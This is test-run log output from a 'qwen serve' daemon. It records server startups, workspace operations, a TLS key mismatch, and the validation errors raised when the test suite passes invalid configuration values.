2026-09-11T23:06:36.472Z [WARN] [DAEMON] route=GET /missing-30 durationMs=10 status=404 request completed
2026-09-11T23:06:36.498Z [WARN] [DAEMON] route=GET /missing-31 durationMs=10 status=404 request completed
2026-09-11T23:06:36.524Z [WARN] [DAEMON] route=GET /missing-32 durationMs=10 status=404 request completed
2026-09-11T23:06:36.549Z [WARN] [DAEMON] route=GET /missing-33 durationMs=10 status=404 request completed
2026-09-11T23:06:36.577Z [WARN] [DAEMON] route=GET /missing-34 durationMs=11 status=404 request completed
2026-09-11T23:06:36.621Z [WARN] [DAEMON] route=GET /missing-35 durationMs=11 status=404 request completed
2026-09-11T23:06:36.649Z [WARN] [DAEMON] route=GET /missing-36 durationMs=11 status=404 request completed
2026-09-11T23:06:36.676Z [WARN] [DAEMON] route=GET /missing-37 durationMs=11 status=404 request completed
2026-09-11T23:06:36.703Z [WARN] [DAEMON] route=GET /missing-38 durationMs=10 status=404 request completed
2026-09-11T23:06:36.730Z [WARN] [DAEMON] route=GET /missing-39 durationMs=11 status=404 request completed
2026-09-11T23:06:36.754Z [WARN] [DAEMON] route=GET /missing-40 durationMs=9 status=404 request completed
2026-09-11T23:06:36.779Z [WARN] [DAEMON] route=GET /missing-41 durationMs=10 status=404 request completed
2026-09-11T23:06:36.803Z [WARN] [DAEMON] route=GET /missing-42 durationMs=10 status=404 request completed
2026-09-11T23:06:36.827Z [WARN] [DAEMON] route=GET /missing-43 durationMs=10 status=404 request completed
2026-09-11T23:06:36.851Z [WARN] [DAEMON] route=GET /missing-44 durationMs=9 status=404 request completed
2026-09-11T23:06:36.876Z [WARN] [DAEMON] route=GET /missing-45 durationMs=10 status=404 request completed
2026-09-11T23:06:36.900Z [WARN] [DAEMON] route=GET /missing-46 durationMs=9 status=404 request completed
2026-09-11T23:06:36.925Z [WARN] [DAEMON] route=GET /missing-47 durationMs=10 status=404 request completed
2026-09-11T23:06:36.952Z [WARN] [DAEMON] route=GET /missing-48 durationMs=11 status=404 request completed
2026-09-11T23:06:36.979Z [WARN] [DAEMON] route=GET /missing-49 durationMs=11 status=404 request completed
2026-09-11T23:06:37.006Z [WARN] [DAEMON] route=GET /missing-50 durationMs=10 status=404 request completed
2026-09-11T23:06:37.034Z [WARN] [DAEMON] route=GET /missing-51 durationMs=11 status=404 request completed
2026-09-11T23:06:37.068Z [WARN] [DAEMON] route=GET /missing-52 durationMs=11 status=404 request completed
2026-09-11T23:06:37.099Z [WARN] [DAEMON] route=GET /missing-53 durationMs=11 status=404 request completed
2026-09-11T23:06:37.125Z [WARN] [DAEMON] route=GET /missing-54 durationMs=10 status=404 request completed
2026-09-11T23:06:37.153Z [WARN] [DAEMON] route=GET /missing-55 durationMs=10 status=404 request completed
2026-09-11T23:06:37.183Z [WARN] [DAEMON] route=GET /missing-56 durationMs=14 status=404 request completed
2026-09-11T23:06:37.207Z [WARN] [DAEMON] route=GET /missing-57 durationMs=9 status=404 request completed
2026-09-11T23:06:37.231Z [WARN] [DAEMON] route=GET /missing-58 durationMs=10 status=404 request completed
2026-09-11T23:06:37.328Z [WARN] [DAEMON] route=GET /missing-59 durationMs=15 status=404 request completed
2026-09-11T23:06:37.358Z [WARN] [DAEMON] route=GET /missing-60 durationMs=11 status=404 request completed
2026-09-11T23:06:37.382Z [WARN] [DAEMON] route=GET /missing-61 durationMs=9 status=404 request completed
2026-09-11T23:06:37.490Z [WARN] [DAEMON] route=GET /missing-62 durationMs=13 status=404 request completed
2026-09-11T23:06:37.519Z [WARN] [DAEMON] route=GET /missing-63 durationMs=10 status=404 request completed
2026-09-11T23:06:37.567Z [WARN] [DAEMON] status2xx=0 status3xx=0 status4xx=1 status5xx=0 statusOther=0 suppressed=1 access logs suppressed
2026-09-11T23:06:37.699Z [WARN] [DAEMON] status2xx=0 status3xx=0 status4xx=5 status5xx=0 statusOther=0 suppressed=5 access logs suppressed
2026-09-11T23:06:37.703Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:43039 (mode=http-bridge, workspace=/tmp/qws-tv-BNEZsb)
qwen serve: bound to workspace "/tmp/qws-tv-BNEZsb"
qwen serve: startup timing: processToListenMs=80242 runQwenServeToListenMs=400
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: runtime startup failed: Invalid telemetry configuration: Invalid QWEN_TELEMETRY_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH: must be a positive integer no greater than 104857600, got ''.
2026-09-11T23:06:38.968Z [ERROR] [DAEMON] runtime startup failed
Error: Invalid telemetry configuration: Invalid QWEN_TELEMETRY_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH: must be a positive integer no greater than 104857600, got ''.
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3300:15)
2026-09-11T23:06:39.551Z [ERROR] [DAEMON] daemon startup failed
Error: Invalid telemetry configuration: Invalid QWEN_TELEMETRY_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH: must be a positive integer no greater than 104857600, got ''.
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3300:15)
qwen serve: daemon log → /tmp/qws-ws-jWtFa4/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:36801 (mode=http-bridge, workspace=/tmp/qws-ws-jWtFa4/primary)
qwen serve: bound to workspace "/tmp/qws-ws-jWtFa4/primary"
qwen serve: startup timing: processToListenMs=81145 runQwenServeToListenMs=78
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:39.759Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-jWtFa4/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:40.542Z [INFO] [DAEMON] route=GET /capabilities durationMs=206 status=200 request completed
2026-09-11T23:06:40.798Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-voice-capability-sHJvTz/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:37403 (mode=http-bridge, workspace=/tmp/qws-voice-capability-sHJvTz/workspace)
qwen serve: bound to workspace "/tmp/qws-voice-capability-sHJvTz/workspace"
qwen serve: startup timing: processToListenMs=82937 runQwenServeToListenMs=386
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:41.576Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-voice-capability-sHJvTz/workspace secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:42.045Z [INFO] [DAEMON] route=GET /capabilities durationMs=72 status=200 request completed
2026-09-11T23:06:42.564Z [INFO] [DAEMON] route=GET /capabilities durationMs=260 status=200 request completed
2026-09-11T23:06:42.598Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-hot-remove-wujn7K/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:40995 (mode=http-bridge, workspace=/tmp/qws-hot-remove-wujn7K/primary)
qwen serve: bound to workspace "/tmp/qws-hot-remove-wujn7K/primary"
qwen serve: startup timing: processToListenMs=84181 runQwenServeToListenMs=56
2026-09-11T23:06:42.770Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-hot-remove-wujn7K/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:44.062Z [INFO] [DAEMON] route=POST /workspaces durationMs=900 status=201 request completed
2026-09-11T23:06:44.484Z [INFO] [DAEMON] route=GET /capabilities durationMs=43 status=200 request completed
2026-09-11T23:06:44.719Z [INFO] [DAEMON] route=DELETE /workspaces/18707e5bd782c356 durationMs=144 status=200 request completed
2026-09-11T23:06:44.910Z [INFO] [DAEMON] route=GET /capabilities durationMs=12 status=200 request completed
2026-09-11T23:06:45.108Z [INFO] [DAEMON] route=POST /workspaces durationMs=103 status=201 request completed
2026-09-11T23:06:45.233Z [INFO] [DAEMON] route=DELETE /workspaces/18707e5bd782c356 durationMs=59 status=200 request completed
2026-09-11T23:06:45.246Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-failure-0xIIHW/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:37051 (mode=http-bridge, workspace=/tmp/qws-runtime-failure-0xIIHW/primary)
qwen serve: bound to workspace "/tmp/qws-runtime-failure-0xIIHW/primary"
qwen serve: startup timing: processToListenMs=86948 runQwenServeToListenMs=139
2026-09-11T23:06:45.551Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-failure-0xIIHW/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: POST /workspaces failed for /tmp/qws-runtime-failure-0xIIHW/secondary: workspace service construction failed
2026-09-11T23:06:45.842Z [WARN] [DAEMON] route=POST /workspaces durationMs=45 status=500 request completed
2026-09-11T23:06:45.880Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-ws-HeqrAn/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44493 (mode=http-bridge, workspace=/tmp/qws-ws-HeqrAn/primary)
qwen serve: bound to workspace "/tmp/qws-ws-HeqrAn/primary"
qwen serve: startup timing: processToListenMs=87444 runQwenServeToListenMs=66
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:46.045Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-HeqrAn/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:46.250Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-ws-lhBqcd/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:37217 (mode=http-bridge, workspace=/tmp/qws-ws-lhBqcd/primary)
qwen serve: bound to workspace "/tmp/qws-ws-lhBqcd/primary"
qwen serve: startup timing: processToListenMs=87784 runQwenServeToListenMs=57
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:46.375Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-lhBqcd/primary secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:46.619Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-ws-vUZp5J/debug/daemon/daemon.log
2026-09-11T23:06:46.721Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-ws-vUZp5J/primary secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:38753 (mode=http-bridge, workspace=/tmp/qws-ws-vUZp5J/primary)
qwen serve: bound to workspace "/tmp/qws-ws-vUZp5J/primary"
qwen serve: startup timing: processToListenMs=88631 runQwenServeToListenMs=535
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:47.825Z [INFO] [DAEMON] route=GET /capabilities durationMs=102 status=200 request completed
2026-09-11T23:06:48.009Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-tv-ulPcbk/debug/daemon/daemon.log
2026-09-11T23:06:48.499Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-tv-ulPcbk secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41127 (mode=http-bridge, workspace=/tmp/qws-tv-ulPcbk)
qwen serve: bound to workspace "/tmp/qws-tv-ulPcbk"
qwen serve: startup timing: processToListenMs=90265 runQwenServeToListenMs=514
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:48.855Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-tm-EgioLx/debug/daemon/daemon.log
2026-09-11T23:06:48.964Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-tm-EgioLx secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36561 (mode=http-bridge, workspace=/tmp/qws-tm-EgioLx)
qwen serve: bound to workspace "/tmp/qws-tm-EgioLx"
qwen serve: startup timing: processToListenMs=90566 runQwenServeToListenMs=223
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:49.149Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-pt-FccGg3/debug/daemon/daemon.log
2026-09-11T23:06:49.250Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid permissionResponseTimeoutMs: NaN. Must be a non-negative integer (milliseconds, 0 = disabled / wait forever).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2688:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:1876:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: memory budget 4096 MB (flag, 126381 MB available via host)
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:32825 (mode=http-bridge, workspace=/tmp/qws-mem-CP1Nyp)
qwen serve: bound to workspace "/tmp/qws-mem-CP1Nyp"
qwen serve: startup timing: processToListenMs=92039 runQwenServeToListenMs=121
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:50.685Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-mem-CP1Nyp secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:51.443Z [INFO] [DAEMON] route=GET /daemon/status durationMs=176 status=200 request completed
2026-09-11T23:06:51.562Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:36205 (mode=http-bridge, workspace=/tmp/qws-mem-F8Anh0)
2026-09-11T23:06:51.861Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:42213 (mode=http-bridge, workspace=/tmp/qws-mem-WLC21Q)
2026-09-11T23:06:52.113Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-it-a2Aztw/debug/daemon/daemon.log
2026-09-11T23:06:52.165Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid initializeTimeoutMs: 0. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2671:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2179:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-it-sNv3nJ/debug/daemon/daemon.log
2026-09-11T23:06:52.243Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid initializeTimeoutMs: NaN. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2671:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2211:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-it-KzlTI7/debug/daemon/daemon.log
2026-09-11T23:06:52.299Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid initializeTimeoutMs: 2147483648. Exceeds maximum JS timer delay of 2147483647 ms (~24.8 days); Node would silently compress longer delays to 1ms.
at assertTimerDelayInRange (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:420:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2675:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2243:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-it-6cpc6i/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38281 (mode=http-bridge, workspace=/tmp/qws-it-6cpc6i)
qwen serve: bound to workspace "/tmp/qws-it-6cpc6i"
qwen serve: startup timing: processToListenMs=93817 runQwenServeToListenMs=49
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:52.404Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-it-6cpc6i secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:53.212Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-tls-gdHlja/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:06:53.843Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-tls-gdHlja secondary= daemon workspace roots initialized
2026-09-11T23:06:54.232Z [ERROR] [DAEMON] daemon startup failed
Error: --tls-cert "/tmp/qws-tls-gdHlja/cert.pem" and --tls-key "/tmp/qws-tls-gdHlja/key.pem" could not be loaded (do they match?): error:05800074:x509 certificate routines::key values mismatch
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6897:11
at new Promise ()
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5874:16)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2613:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on https://127.0.0.1:42679 (mode=http-bridge, workspace=/tmp/qws-tls-Gax1jV)
qwen serve: bound to workspace "/tmp/qws-tls-Gax1jV"
qwen serve: startup timing: processToListenMs=95860 runQwenServeToListenMs=117
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:06:55.023Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-tls-Gax1jV secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: Daemon runtime stopped before mounting.
2026-09-11T23:06:55.211Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime stopped before mounting.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6370:17
at waitForRuntimeStartingForShutdown (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1382:3)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6651:17
2026-09-11T23:06:59.110Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.556Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxSessions: NaN. Must be a number >= 0 (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2595:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.654Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxSessions: -1. Must be a number >= 0 (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2595:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.721Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxTotalSessions: NaN. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2603:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.804Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxTotalSessions: -1. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2603:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.889Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxTotalSessions: 1.5. Must be a non-negative integer (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2603:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:59.949Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid eventRingSize: 0. Must be a positive integer in [1, 1000000].
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2622:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:00.021Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid eventRingSize: 1.5. Must be a positive integer in [1, 1000000].
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2622:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:00.105Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid eventRingSize: Infinity. Must be a positive integer in [1, 1000000].
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2622:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:00.182Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid compactedReplayMaxBytes: 0. Must be a positive safe integer in [1, 268435456].
at normalizeCompactedReplayMaxBytes (/build/qwen-code/src/qwen-code/packages/acp-bridge/src/replayWindowLimits.ts:22:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2629:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:00.282Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid compactedReplayMaxBytes: 1.5. Must be a positive safe integer in [1, 268435456].
at normalizeCompactedReplayMaxBytes (/build/qwen-code/src/qwen-code/packages/acp-bridge/src/replayWindowLimits.ts:22:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2629:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:07:00.333Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid compactedReplayMaxBytes: Infinity. Must be a positive safe integer in [1, 268435456].
at normalizeCompactedReplayMaxBytes (/build/qwen-code/src/qwen-code/packages/acp-bridge/src/replayWindowLimits.ts:22:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2629:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2750:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-bkfaQy/debug/daemon/daemon.log
2026-09-11T23:07:00.606Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionReapIntervalMs: -1. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2657:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-QXHgMG/debug/daemon/daemon.log
2026-09-11T23:07:00.669Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionReapIntervalMs: 1.5. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2657:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-0554x9/debug/daemon/daemon.log
2026-09-11T23:07:00.730Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionReapIntervalMs: NaN. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2657:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
